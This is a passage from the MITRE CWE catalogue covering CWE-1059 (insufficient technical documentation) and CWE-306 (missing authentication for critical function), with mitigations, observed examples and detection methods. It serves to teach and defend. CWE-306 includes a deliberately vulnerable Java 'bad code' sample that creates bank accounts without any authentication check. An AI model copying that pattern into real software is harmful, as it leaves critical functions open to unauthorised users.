MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 995 SFP Secondary Cluster: Feature
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1379 ICS Operations (& Maintenance): Human factors in ICS environments
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1418 Comprehensive Categorization: Violation of Secure Design Principles
+ Vulnerability Mapping Notes
Usage ALLOWED-WITH-REVIEW
(this CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review)
Reasons Abstraction, Other

Rationale

This CWE entry is a Class, but it does not have Base-level children.

Comments

This entry is classified in a part of CWE's hierarchy that does not have sufficiently low-level coverage, which might reflect a lack of classification-oriented weakness research in the software security community. Conduct careful root cause analysis to determine the original mistake that led to this weakness. If closer analysis reveals that this weakness is appropriate, then this might be the best available CWE to use for mapping. If no other option is available, then it is acceptable to map to this CWE.
+ Notes

Other

This weakness covers many security measures causing user inconvenience, requiring effort or causing frustration, that are disproportionate to the risks or value of the protected assets, or that are perceived to be ineffective.

Maintenance

The Taxonomy_Mappings to ISA/IEC 62443 were added in CWE 4.10, but they are still under review and might change in future CWE versions. These draft mappings were performed by members of the "Mapping CWE to 62443" subgroup of the CWE-CAPEC ICS/OT Special Interest Group (SIG), and their work is incomplete as of CWE 4.10. The mappings are included to facilitate discussion and review by the broader ICS/OT community, and they are likely to change in future CWE versions.
+ Taxonomy Mappings
Mapped Taxonomy Name Node ID Fit Mapped Node Name
ISA/IEC 62443 Part 2-1 Req 4.3.3.6
ISA/IEC 62443 Part 4-1 Req SD-4
+ References
[REF-196] Jerome H. Saltzer and Michael D. Schroeder. "The Protection of Information in Computer Systems". Proceedings of the IEEE 63. 1975-09.
<http://web.mit.edu/Saltzer/www/publications/protection/>.
[REF-539] Sean Barnum and Michael Gegick. "Psychological Acceptability". 2005-09-15.
<https://web.archive.org/web/20221104163022/https://www.cisa.gov/uscert/bsi/articles/knowledge/principles/psychological-acceptability>. (URL validated: 2023-04-07)
[REF-540] J. D. Tygar and Alma Whitten. "Usability of Security: A Case Study". SCS Technical Report Collection, CMU-CS-98-155. 1998-12-15.
<http://reports-archive.adm.cs.cmu.edu/anon/1998/CMU-CS-98-155.pdf>.
[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 14: Poor Usability." Page 217. McGraw-Hill. 2010.
+ Content History
+ Submissions
Submission Date Submitter Organization
2008-01-18
(CWE Draft 8, 2008-01-30) 		Pascal Meunier Purdue University
+ Contributions
Contribution Date Contributor Organization
2022-07-16 Nicolai Plum
Provided new links for a reference that improved multiple CWEs.
2023-01-24
(CWE 4.10, 2023-01-31) 		"Mapping CWE to 62443" Sub-Working Group CWE-CAPEC ICS/OT SIG
Suggested mappings to ISA/IEC 62443.
+ Modifications
Modification Date Modifier Organization
2025-04-03
(CWE 4.17, 2025-04-03) 		CWE Content Team MITRE
updated Mapping_Notes
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes
2023-04-27 CWE Content Team MITRE
updated References, Relationships, Time_of_Introduction, Type
2023-01-31 CWE Content Team MITRE
updated Description, Maintenance_Notes, Taxonomy_Mappings
2022-10-13 CWE Content Team MITRE
updated References
2022-04-28 CWE Content Team MITRE
updated Relationships
2020-02-24 CWE Content Team MITRE
updated Relationships, Time_of_Introduction
2017-11-08 CWE Content Team MITRE
updated Applicable_Platforms, Causal_Nature
2014-07-30 CWE Content Team MITRE
updated Relationships
2014-06-23 CWE Content Team MITRE
updated Demonstrative_Examples
2012-10-30 CWE Content Team MITRE
updated Potential_Mitigations
2012-05-11 CWE Content Team MITRE
updated References, Relationships
2011-06-01 CWE Content Team MITRE
updated Common_Consequences
2009-05-27 CWE Content Team MITRE
updated Name
2009-01-12 CWE Content Team MITRE
updated Description, Name
2008-09-08 CWE Content Team MITRE
updated Common_Consequences, Relationships, Other_Notes, Weakness_Ordinalities
2008-07-01 Eric Dalci Cigital
updated Time_of_Introduction
+ Previous Entry Names
Change Date Previous Entry Name
2009-01-12 Design Principle Violation: Failure to Satisfy Psychological Acceptability
2009-05-27 Failure to Satisfy Psychological Acceptability
Back to top

CWE-1059: Insufficient Technical Documentation

Weakness ID: 1059
Vulnerability Mapping: PROHIBITED This CWE ID must not be used to map to real-world vulnerabilities
Abstraction: Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
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+ Description
The product does not contain sufficient technical or engineering documentation (whether on paper or in electronic form) that contains descriptions of all the relevant software/hardware elements of the product, such as its usage, structure, architectural components, interfaces, design, implementation, configuration, operation, etc.
+ Extended Description

When technical documentation is limited or lacking, products are more difficult to maintain. This indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities.

When using time-limited or labor-limited third-party/in-house security consulting services (such as threat modeling, vulnerability discovery, or pentesting), insufficient documentation can force those consultants to invest unnecessary time in learning how the product is organized, instead of focusing their expertise on finding the flaws or suggesting effective mitigations.

With respect to hardware design, the lack of a formal, final manufacturer reference can make it difficult or impossible to evaluate the final product, including post-manufacture verification. One cannot ensure that design functionality or operation is within acceptable tolerances, conforms to specifications, and is free from unexpected behavior. Hardware-related documentation may include engineering artifacts such as hardware description language (HDLs), netlists, Gerber files, Bills of Materials, EDA (Electronic Design Automation) tool files, etc.

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
Impact Details

Varies by Context; Hide Activities; Reduce Reliability; Quality Degradation; Reduce Maintainability

Scope: Other

Without a method of verification, one cannot be sure that everything only functions as expected.
+ Potential Mitigations
Phase(s) Mitigation

Documentation; Architecture and Design
Ensure that design documentation is detailed enough to allow for post-manufacturing verification.
+ Relationships
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (View-1000)
Nature Type ID Name
ChildOf Pillar Pillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things. 710 Improper Adherence to Coding Standards
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 1053 Missing Documentation for Design
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 1110 Incomplete Design Documentation
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 1111 Incomplete I/O Documentation
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 1112 Incomplete Documentation of Program Execution
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 1118 Insufficient Documentation of Error Handling Techniques
+ Relevant to the view "Hardware Design" (View-1194)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 1195 Manufacturing and Life Cycle Management Concerns
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 1208 Cross-Cutting Problems
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
Phase Note
Architecture and Design
Documentation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.
Languages

Class: Not Language-Specific (Undetermined Prevalence)

Operating Systems

Class: Not OS-Specific (Undetermined Prevalence)

Architectures

Class: Not Architecture-Specific (Undetermined Prevalence)

Technologies

Class: Not Technology-Specific (Undetermined Prevalence)

Class: ICS/OT (Undetermined Prevalence)

+ Selected Observed Examples

Note: this is a curated list of examples for users to understand the variety of ways in which this weakness can be introduced. It is not a complete list of all CVEs that are related to this CWE entry.

Reference Description
A wireless access point manual specifies that the only method of configuration is via web interface (CWE-1059), but there is an undisclosed telnet server that was activated by default (CWE-912).
+ Weakness Ordinalities
Ordinality Description
Indirect
(where the weakness is a quality issue that might indirectly make it easier to introduce security-relevant weaknesses or make them more difficult to detect)
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
Nature Type ID Name
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1368 ICS Dependencies (& Architecture): External Digital Systems
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1371 ICS Supply Chain: Poorly Documented or Undocumented Features
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1375 ICS Engineering (Construction/Deployment): Gaps in Details/Data
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1412 Comprehensive Categorization: Poor Coding Practices
+ Vulnerability Mapping Notes
Usage PROHIBITED
(this CWE ID must not be used to map to real-world vulnerabilities)
Reason Other

Rationale

This entry is primarily a quality issue with no direct security implications.

Comments

Look for weaknesses that are focused specifically on insecure behaviors that have more direct security implications.
+ Taxonomy Mappings
Mapped Taxonomy Name Node ID Fit Mapped Node Name
ISA/IEC 62443 Part 2-4 Req SP.02.03 BR
ISA/IEC 62443 Part 2-4 Req SP.02.03 RE(1)
ISA/IEC 62443 Part 2-4 Req SP.03.03 RE(1)
ISA/IEC 62443 Part 4-1 Req SG-1
ISA/IEC 62443 Part 4-1 Req SG-2
ISA/IEC 62443 Part 4-1 Req SG-3
ISA/IEC 62443 Part 4-1 Req SG-4
ISA/IEC 62443 Part 4-1 Req SG-5
ISA/IEC 62443 Part 4-1 Req SG-6
ISA/IEC 62443 Part 4-1 Req SG-7
+ References
[REF-1248] Securing Energy Infrastructure Executive Task Force (SEI ETF). "Categories of Security Vulnerabilities in ICS". Poorly Documented or Undocumented Features. 2022-03-09.
<https://inl.gov/wp-content/uploads/2022/03/SEI-ETF-NCSV-TPT-Categories-of-Security-Vulnerabilities-ICS-v1_03-09-22.pdf>.
[REF-1254] FDA. "Cybersecurity in Medical Devices: Quality System Considerations and Content of Premarket Submissions Draft Guidance for Industry and Food and Drug Administration Staff (DRAFT GUIDANCE)". 2022-04-08.
<https://www.fda.gov/media/119933/download>.
+ Content History
+ Submissions
Submission Date Submitter Organization
2018-07-02
(CWE 3.2, 2019-01-03) 		CWE Content Team MITRE
Entry derived from Common Quality Enumeration (CQE) Draft 0.9.
+ Contributions
Contribution Date Contributor Organization
2021-06-11 Paul A. Wortman Wells Fargo
Submitted hardware-specific information about a "golden standard" that was integrated into this entry
2023-04-25 "Mapping CWE to 62443" Sub-Working Group CWE-CAPEC ICS/OT SIG
Suggested mappings to ISA/IEC 62443.
+ Modifications
Modification Date Modifier Organization
2024-02-29
(CWE 4.14, 2024-02-29) 		CWE Content Team MITRE
updated Mapping_Notes
2023-10-26 CWE Content Team MITRE
updated Observed_Examples
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes, Taxonomy_Mappings
2023-04-27 CWE Content Team MITRE
updated Relationships, Taxonomy_Mappings
2023-01-31 CWE Content Team MITRE
updated Applicable_Platforms, Relationships
2022-04-28 CWE Content Team MITRE
updated Applicable_Platforms, Common_Consequences, Description, Name, Potential_Mitigations, References, Relationships, Time_of_Introduction
2020-02-24 CWE Content Team MITRE
updated Relationships
+ Previous Entry Names
Change Date Previous Entry Name
2022-04-28 Incomplete Documentation
Back to top

CWE-306: Missing Authentication for Critical Function

Weakness ID: 306
Vulnerability Mapping: ALLOWED This CWE ID may be used to map to real-world vulnerabilities
Abstraction: Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
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+ Description
The product does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources. Diagram for CWE-306
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
Impact Details

Gain Privileges or Assume Identity; Varies by Context

Scope: Access Control, Other

Exposing critical functionality essentially provides an attacker with the privilege level of that functionality. The consequences will depend on the associated functionality, but they can range from reading or modifying sensitive data, accessing administrative or other privileged functionality, or possibly even executing arbitrary code.
+ Potential Mitigations
Phase(s) Mitigation

Architecture and Design

Divide the software into anonymous, normal, privileged, and administrative areas. Identify which of these areas require a proven user identity, and use a centralized authentication capability.

Identify all potential communication channels, or other means of interaction with the software, to ensure that all channels are appropriately protected, including those channels that are assumed to be accessible only by authorized parties. Developers sometimes perform authentication at the primary channel, but open up a secondary channel that is assumed to be private. For example, a login mechanism may be listening on one network port, but after successful authentication, it may open up a second port where it waits for the connection, but avoids authentication because it assumes that only the authenticated party will connect to the port.

In general, if the software or protocol allows a single session or user state to persist across multiple connections or channels, authentication and appropriate credential management need to be used throughout.

Architecture and Design
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Architecture and Design

Where possible, avoid implementing custom, "grow-your-own" authentication routines and consider using authentication capabilities as provided by the surrounding framework, operating system, or environment. These capabilities may avoid common weaknesses that are unique to authentication; support automatic auditing and tracking; and make it easier to provide a clear separation between authentication tasks and authorization tasks.

In environments such as the World Wide Web, the line between authentication and authorization is sometimes blurred. If custom authentication routines are required instead of those provided by the server, then these routines must be applied to every single page, since these pages could be requested directly.

Architecture and Design

Strategy: Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

For example, consider using libraries with authentication capabilities such as OpenSSL or the ESAPI Authenticator [REF-45].

Implementation; System Configuration; Operation
When storing data in the cloud (e.g., S3 buckets, Azure blobs, Google Cloud Storage, etc.), use the provider's controls to require strong authentication for users who should be allowed to access the data [REF-1297] [REF-1298] [REF-1302].
+ Relationships
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (View-1000)
Nature Type ID Name
ChildOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 287 Improper Authentication
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 288 Authentication Bypass Using an Alternate Path or Channel
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 322 Key Exchange without Entity Authentication
+ Relevant to the view "Software Development" (View-699)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 1211 Authentication Errors
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (View-1003)
Nature Type ID Name
ChildOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 287 Improper Authentication
+ Relevant to the view "Architectural Concepts" (View-1008)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 1010 Authenticate Actors
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
Phase Note
Architecture and Design OMISSION: This weakness is caused by missing a security tactic during the architecture and design phase.
Architecture and Design Developers sometimes perform authentication at the primary channel, but open up a secondary channel that is assumed to be private. For example, a login mechanism may be listening on one network port, but after successful authentication, it may open up a second port where it waits for the connection, but avoids authentication because it assumes that only the authenticated party will connect to the port.
Operation When migrating data to the cloud (e.g., S3 buckets, Azure blobs, Google Cloud Storage, etc.), there is a risk of losing the protections that were originally provided by hosting on internal networks. If access does not require authentication, it can be easier for attackers to access the data from anywhere on the Internet.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.
Languages

Class: Not Language-Specific (Undetermined Prevalence)

Technologies

Class: Cloud Computing (Undetermined Prevalence)

Class: ICS/OT (Often Prevalent)

+ Likelihood Of Exploit
High
+ Demonstrative Examples

Example 1


In the following Java example the method createBankAccount is used to create a BankAccount object for a bank management application.

(bad code)
Example Language: Java 
public BankAccount createBankAccount(String accountNumber, String accountType,
String accountName, String accountSSN, double balance) {
BankAccount account = new BankAccount();
account.setAccountNumber(accountNumber);
account.setAccountType(accountType);
account.setAccountOwnerName(accountName);
account.setAccountOwnerSSN(accountSSN);
account.setBalance(balance);

return account;
}

However, there is no authentication mechanism to ensure that the user creating this bank account object has the authority to create new bank accounts. Some authentication mechanisms should be used to verify that the user has the authority to create bank account objects.

The following Java code includes a boolean variable and method for authenticating a user. If the user has not been authenticated then the createBankAccount will not create the bank account object.

(good code)
Example Language: Java 
private boolean isUserAuthentic = false;

// authenticate user,

// if user is authenticated then set variable to true

// otherwise set variable to false
public boolean authenticateUser(String username, String password) {
...
}

public BankAccount createNewBankAccount(String accountNumber, String accountType,
String accountName, String accountSSN, double balance) {
BankAccount account = null;

if (isUserAuthentic) {
account = new BankAccount();
account.setAccountNumber(accountNumber);
account.setAccountType(accountType);
account.setAccountOwnerName(accountName);
account.setAccountOwnerSSN(accountSSN);
account.setBalance(balance);
}
return account;
}


Example 2


In 2022, the OT:ICEFALL study examined products by 10 different Operational Technology (OT) vendors. The researchers reported 56 vulnerabilities and said that the products were "insecure by design" [REF-1283]. If exploited, these vulnerabilities often allowed adversaries to change how the products operated, ranging from denial of service to changing the code that the products executed. Since these products were often used in industries such as power, electrical, water, and others, there could even be safety implications.

Multiple vendors did not use any authentication for critical functionality in their OT products.



Example 3


In 2021, a web site operated by PeopleGIS stored data of US municipalities in Amazon Web Service (AWS) Simple Storage Service (S3) buckets.

(bad code)
Example Language: Other 
A security researcher found 86 S3 buckets that could be accessed without authentication (CWE-306) and stored data unencrypted (CWE-312). These buckets exposed over 1000 GB of data and 1.6 million files including physical addresses, phone numbers, tax documents, pictures of driver's license IDs, etc. [REF-1296] [REF-1295]

While it was not publicly disclosed how the data was protected after discovery, multiple options could have been considered.

(good code)
Example Language: Other 
The sensitive information could have been protected by ensuring that the buckets did not have public read access, e.g., by enabling the s3-account-level-public-access-blocks-periodic rule to Block Public Access. In addition, the data could have been encrypted at rest using the appropriate S3 settings, e.g., by enabling server-side encryption using the s3-bucket-server-side-encryption-enabled setting. Other settings are available to further prevent bucket data from being leaked. [REF-1297]


+ Selected Observed Examples

Note: this is a curated list of examples for users to understand the variety of ways in which this weakness can be introduced. It is not a complete list of all CVEs that are related to this CWE entry.

Reference Description
File-sharing PHP product does not check if user is logged in during requests for PHP library files under an includes/ directory, allowing configuration changes, code execution, and other impacts.
Chain: a digital asset management program has an undisclosed backdoor in the legacy version of a PHP script (CWE-912) that could allow an unauthenticated user to export metadata (CWE-306)
TCP-based protocol in Programmable Logic Controller (PLC) has no authentication.
Condition Monitor firmware uses a protocol that does not require authentication.
SCADA-based protocol for bridging WAN and LAN traffic has no authentication.
Safety Instrumented System uses proprietary TCP protocols with no authentication.
Distributed Control System (DCS) uses a protocol that has no authentication.
Chain: Cloud computing virtualization platform does not require authentication for upload of a tar format file (CWE-306), then uses .. path traversal sequences (CWE-23) in the file to access unexpected files, as exploited in the wild per CISA KEV.
Bluetooth speaker does not require authentication for the debug functionality on the UART port, allowing root shell access
WiFi router does not require authentication for its UART port, allowing adversaries with physical access to execute commands as root
IT management product does not perform authentication for some REST API requests, as exploited in the wild per CISA KEV.
Default setting in workflow management product allows all API requests without authentication, as exploited in the wild per CISA KEV.
MFV. Access TFTP server without authentication and obtain configuration file with sensitive plaintext information.
Agent software running at privileges does not authenticate incoming requests over an unprotected channel, allowing a Shatter" attack.
Product enforces restrictions through a GUI but not through privileged APIs.
monitor device allows access to physical UART debug port without authentication
Programmable Logic Controller (PLC) does not have an authentication feature on its communication protocols.
+ Detection Methods
Method Details

Manual Analysis

This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session.

Specifically, manual static analysis is useful for evaluating the correctness of custom authentication mechanisms.

Note:These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

Automated Static Analysis

Automated static analysis is useful for detecting commonly-used idioms for authentication. A tool may be able to analyze related configuration files, such as .htaccess in Apache web servers, or detect the usage of commonly-used authentication libraries.

Generally, automated static analysis tools have difficulty detecting custom authentication schemes. In addition, the software's design may include some functionality that is accessible to any user and does not require an established identity; an automated technique that detects the absence of authentication may report false positives.

Effectiveness: Limited

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness: SOAR Partial

Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Web Application Scanner
  • Web Services Scanner
  • Database Scanners

Effectiveness: SOAR Partial

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Host Application Interface Scanner
  • Fuzz Tester
  • Framework-based Fuzzer

Effectiveness: SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Focused Manual Spotcheck - Focused manual analysis of source
  • Manual Source Code Review (not inspections)

Effectiveness: SOAR Partial

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Source code Weakness Analyzer
  • Context-configured Source Code Weakness Analyzer

Effectiveness: SOAR Partial

Architecture or Design Review

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)
  • Formal Methods / Correct-By-Construction
Cost effective for partial coverage:
  • Attack Modeling

Effectiveness: High
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
Nature Type ID Name
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 803 2010 Top 25 - Porous Defenses
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 812 OWASP Top Ten 2010 Category A3 - Broken Authentication and Session Management
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 866 2011 Top 25 - Porous Defenses
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 884 CWE Cross-section
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 952 SFP Secondary Cluster: Missing Authentication
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 1337 Weaknesses in the 2021 CWE Top 25 Most Dangerous Software Weaknesses
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 1350 Weaknesses in the 2020 CWE Top 25 Most Dangerous Software Weaknesses
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1353 OWASP Top Ten 2021 Category A07:2021 - Identification and Authentication Failures
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1364 ICS Communications: Zone Boundary Failures
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1365 ICS Communications: Unreliability
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1366 ICS Communications: Frail Security in Protocols
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1368 ICS Dependencies (& Architecture): External Digital Systems
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 1387 Weaknesses in the 2022 CWE Top 25 Most Dangerous Software Weaknesses
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1396 Comprehensive Categorization: Access Control
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 1425 Weaknesses in the 2023 CWE Top 25 Most Dangerous Software Weaknesses
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 1430 Weaknesses in the 2024 CWE Top 25 Most Dangerous Software Weaknesses
+ Vulnerability Mapping Notes
Usage ALLOWED
(this CWE ID may be used to map to real-world vulnerabilities)
Reason Acceptable-Use

Rationale

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy Name Node ID Fit Mapped Node Name
PLOVER No Authentication for Critical Function
Software Fault Patterns SFP31 Missing authentication
ISA/IEC 62443 Part 4-2 Req CR 1.1
ISA/IEC 62443 Part 4-2 Req CR 1.2
ISA/IEC 62443 Part 4-2 Req CR 2.1
ISA/IEC 62443 Part 4-1 Req SR-2
ISA/IEC 62443 Part 4-1 Req SVV-3
+ References
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 2, "Common Vulnerabilities of Authentication," Page 36. 1st Edition. Addison Wesley. 2006.
[REF-257] Frank Kim. "Top 25 Series - Rank 19 - Missing Authentication for Critical Function". SANS Software Security Institute. 2010-02-23.
<https://www.sans.org/blog/top-25-series-rank-19-missing-authentication-for-critical-function/>. (URL validated: 2023-04-07)
[REF-45] OWASP. "OWASP Enterprise Security API (ESAPI) Project".
<http://www.owasp.org/index.php/ESAPI>.
[REF-1283] Forescout Vedere Labs. "OT:ICEFALL: The legacy of "insecure by design" and its implications for certifications and risk management". 2022-06-20.
<https://www.forescout.com/resources/ot-icefall-report/>.
[REF-1295] WizCase. "Over 80 US Municipalities' Sensitive Information, Including Resident's Personal Data, Left Vulnerable in Massive Data Breach". 2021-07-20.
<https://www.wizcase.com/blog/us-municipality-breach-report/>.
[REF-1296] Jonathan Greig. "1,000 GB of local government data exposed by Massachusetts software company". 2021-07-22.
<https://www.zdnet.com/article/1000-gb-of-local-government-data-exposed-by-massachusetts-software-company/>.
[REF-1297] Amazon. "AWS Foundational Security Best Practices controls". 2022.
<https://docs.aws.amazon.com/securityhub/latest/userguide/securityhub-controls-reference.html>. (URL validated: 2023-04-07)
[REF-1298] Microsoft. "Authentication and authorization in Azure App Service and Azure Functions". 2021-11-23.
<https://learn.microsoft.com/en-us/azure/app-service/overview-authentication-authorization>. (URL validated: 2022-10-11)
[REF-1302] Google Cloud. "Authentication and authorization use cases". 2022-10-11.
<https://cloud.google.com/docs/authentication/use-cases>. (URL validated: 2022-10-11)
+ Content History
+ Submissions
Submission Date Submitter Organization
2006-07-19
(CWE Draft 3, 2006-07-19) 		PLOVER
+ Contributions
Contribution Date Contributor Organization
